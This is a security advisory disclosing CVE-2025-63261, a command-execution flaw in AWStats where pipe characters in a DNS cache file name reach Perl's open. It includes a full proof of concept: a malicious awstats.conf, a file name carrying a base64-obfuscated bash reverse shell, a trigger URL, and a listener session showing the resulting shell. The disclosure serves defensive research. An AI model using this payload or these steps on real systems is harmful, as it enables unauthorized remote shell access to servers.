PTT-2025-021 – Code Execution via Unsafe Perl Open in AWStats

CVE-ID: CVE-2025-63261

Credits:

Matei “Mal” Bădănoiu, Matei Buzdea and Cătălin Ioviță of Pentest-Tools.com

Environment:

- AWStats 7.9

  Note: The latest version of AWStats still contains this vulnerability.

CVSSv3: 7.8 High - AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Note: In some environments where AWStat is used, an attacker may be able to create and modify files remotely thus increasing the CVSS score of the finding.

Description:

The AWStats Perl script uses the “open” function in an unsafe way when parsing DNS Cache File names. By leveraging pipe characters (“|”) an attacker with the ability to modify the “awstats.conf” file may execute arbitrary malicious system commands.

Requirements:

To perform this exploit, an attacker must find a way to create or modify the “awstats.conf” file with malicious content as well as the ability to create files with arbitrary names on the system.

Proof of Concept:

By inspecting the Perl script at “awstats.pl” we have noticed the following dangerous code:

```
# Checks if DNSLookup is enabled in awstats.conf
if ($DNSLookup) {
***TRUNCATED***
        &Read_DNS_Cache( \%TmpDNSLookup, "$DNSLastUpdateCacheFile",
                "$FileSuffix", 0 )

***TRUNCATED***

# Checks if dnscache file exists on the system
if ( -f "${searchdir}$dnscachefile$filesuffix$dnscacheext" ) {
        $filetoload = "${searchdir}$dnscachefile$filesuffix$dnscacheext";
}

***TRUNCATED***

# Checks if filetoload variable has been initialized, if not return from the function
if ( !$filetoload ) {
        if ($Debug) { debug(" No DNS Cache file found"); }
        return 1;
}

***TRUNCATED***

# Call dangerous open function
if ( !scalar keys %$hashtoload ) {
        open( DNSFILE, "$filetoload" )
                or error("Couldn't open DNS Cache file \"$filetoload\": $!");

***TRUNCATED***
```

The code above shows that we must satisfy the following conditions to obtain RCE:

- The DNSLookup value needs to be set to true (in this case “1”)
- The “$filetoload” file needs to exist on the system
- In order to exploit “open”:
  - “$dnscachefile” needs to contain pipe characters (“|”)
  - “$filesuffix” needs to be an empty string (this can be achieved by creating and putting our malicious config in the file “awstats.conf” as the file suffix is taken from the config name (e.g. “awstats.mal.test.com.conf” ⇒ $filesuffix == “mal.test.com”))
  - “$dnscacheext” needs to be an empty string (this can be achieved by not using the “.” character in “$dnscachefile”)

In order to satisfy all the above conditions we have added the following four custom values to the “awstats.conf” file:

```
DNSLastUpdateCacheFile="| bash -c
'{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxCg==}|{base64,-d}|bash' |"
DNSLookup=1
DirData="/home/mal/tmp/awstats"
AllowToUpdateStatsFromBrowser=1
```

Note: The Appendix section contains the full content of the “awstats.conf” file.

The above four conf values have the following effect:

- “DNSLastUpdateCacheFile” is set to a value of “| <LINUX_COMMAND> |” (in this case a reverse bash shell pointing back to “127.0.0.1” port 4444)
- “DNSLookup” is set to True
- “DirData” is the directory from where AWStats will try to read the DNSCache Files (this can point to any location where the attacker has write access to create the “DNSLastUpdateCacheFile” file)
- “AllowToUpdateStatsFromBrowser” is set to True (this is required in order to call the “DNSLookup” functionality as we are accessing the “awstats.pl” script from the web interface)

Assuming that the attacker has obtained shell access on the target system hosting the ASWtats application, the following steps can be used in order to set up the malicious files on the system:

- Write "/home/<USER>/tmp/awstats/awstats.conf" (in this case "/home/mal/tmp/awstats/awstats.conf"):

```
cat <<EOF > ~/tmp/awstats/awstats.conf
<CONTENTS_OF_AWSTATS_CONF_FROM_APPENDIX_SECTION>
EOF
```

  Note: The "<CONTENTS_OF_AWSTATS_CONF_FROM_APPENDIX_SECTION>" from above needs to be replaced with an actual malicious AWStats configuration for the exploit to work.

- Create the malicious dnscache file "/home/<USER>/tmp/awstats/| <COMMAND> |" (in this case "/home/mal/tmp/awstats/| bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxCg==}|{base64,-d}|bash' |"):

```
touch ~/tmp/awstats/"| bash -c
'{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxCg==}|{base64,-d}|bash' |"
```

After we perform all the above steps correctly, we only need to start a listener for our reverse shell command and access the "awstats.pl" page to trigger the RCE.

We used the following URL to trigger the exploit::

```
http://<TARGET>/awstats.pl?config=a&framename=mainright&update=1
```

Note: We use "config=a" as the file "awstats.a.conf" does not exist therefore the application defaults to loading "awstats.conf".

Note 2: We use "update=1" to enter the "awstats.pl" code branch responsible for calling the vulnerable "DNSLookup" functions.

Once the link is accessed, by inspecting debug messages and/or printing custom messages we can observe the following behavior of the code:

```
MAL DEBUG Searchdir: /home/mal/tmp/awstats/dnscache.txt
MAL DEBUG Searchdir: ./dnscache.txt
MAL DEBUG Searchdir: dnscache.txt
MAL DEBUG Searchdir: /home/mal/tmp/awstats/| bash -c
'{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxCg==}|{base64,-d}|bash' |
MAL DNSLOOKUP open(): /home/mal/tmp/awstats/| bash -c
'{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxCg==}|{base64,-d}|bash' |
```

The application tries to load several DNSCache files that do not exist ("/home/mal/tmp/awstats/dnscache.txt", "./dnscache.txt", "dnscache.txt") then it tries to load our malicious file that exists on the file system ("/home/mal/tmp/awstats/| bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxCg==}|{base64,-d}|bash' |"), and, as the file exists, the open function is reached and the attacker achieves RCE.

The following picture shows the attacker receiving a reverse shell from the above AWStats exploit:

```
sh-4.4$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:53344.
bash: cannot set terminal process group (1310358): Inappropriate ioctl for device
bash: no job control in this shell
[mal@cpanel85674063 base]$ id
id
uid=1004(mal) gid=1006(mal) groups=1006(mal)
[mal@cpanel85674063 base]$

[mal@cpanel85674063 base]$ pwd
pwd
/usr/local/cpanel/base
[mal@cpanel85674063 base]$
```

Note: The above reverse shell scenario presents a potential jailshell escape scenario in the cPanel environment that uses AWStats as an integrated 3rd party solution.

Appendix:

Full content of “awstats.conf”:

```
DNSLastUpdateCacheFile="| bash -c
'{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxCg==}|{base64,-d}|bash' |"
DNSLookup=1
DirData="/home/mal/tmp/awstats"
AllowToUpdateStatsFromBrowser=1


LogFile="/etc/apache2/logs/domlogs/mal.test.com"
LogFormat=1
DirCgi="/home/mal/"
DirIcons="/images/awstats"
SiteDomain="mal.test.com"
HostAliases="mal.test.com www.mal.test.com localhost 127.0.0.1"
AllowFullYearView=3
AllowAccessFromWebToAuthenticatedUsersOnly=0
AllowAccessFromWebToFollowingAuthenticatedUsers=""
CreateDirDataIfNotExists=0
SaveDatabaseFilesWithPermissionsForEveryone=0
PurgeLogFile=0
ArchiveLogRecords=0
KeepBackupOfHistoricFiles=0
DefaultFile="index.html"
SkipHosts=""
SkipDNSLookupFor=""
SkipFiles="robots.txt$ favicon.ico$"
OnlyFiles=""
NotPageList="css js class gif jpg jpeg png bmp"
ValidHTTPCodes="200 304"
URLWithQuery=0
WarningMessages=1
NbOfLinesForCorruptedLog=10000
SplitSearchString=0
Expires=0
WrapperScript=""
UseFramesWhenCGI=1
MaxRowsInHTMLOutput=1000
Lang="en"
DirLang="/usr/local/cpanel/3rdparty/share/awstats/lang"
ShowMonthDayStats=1
ShowDaysOfWeekStats=1
ShowHoursStats=1
ShowDomainsStats=1
ShowHostsStats=1
ShowAuthenticatedUsers=1
ShowRobotsStats=1
ShowPagesStats=1
ShowFileTypesStats=1
ShowBrowsersStats=1
ShowOSStats=1
```

```
ShowOriginStats=1
ShowKeyphrasesStats=1
ShowHTTPErrorsStats=1
MaxNbOfDomain = 25
MaxNbOfHostsShown = 25
MinHitHost    = 1
MaxNbOfLoginShown = 10
MinHitLogin   = 1
MaxNbOfRobotShown = 25
MinHitRobot   = 1
MaxNbOfPageShown = 25
MinHitFile    = 1
MaxNbOfRefererShown = 25
MinHitRefer   = 1
MaxNbOfKeywordsShown = 25
MinHitKeyword  = 1
FirstDayOfWeek=1
DetailedReportsOnNewWindows=1
ShowFlagLinks="en fr de it nl es"
ShowLinksOnUrl=1
MaxLengthOfURL=72
ShowLinksToWhoIs=0
LinksToWhoIs="http://www.whois.net/search.cgi2?str="
HTMLHeadSection=""
HTMLEndSection=""
Logo="awstats_logo1.png"
LogoLink="http://awstats.sourceforge.net"
BarWidth   = 260
BarHeight  = 180
StyleSheet=""
```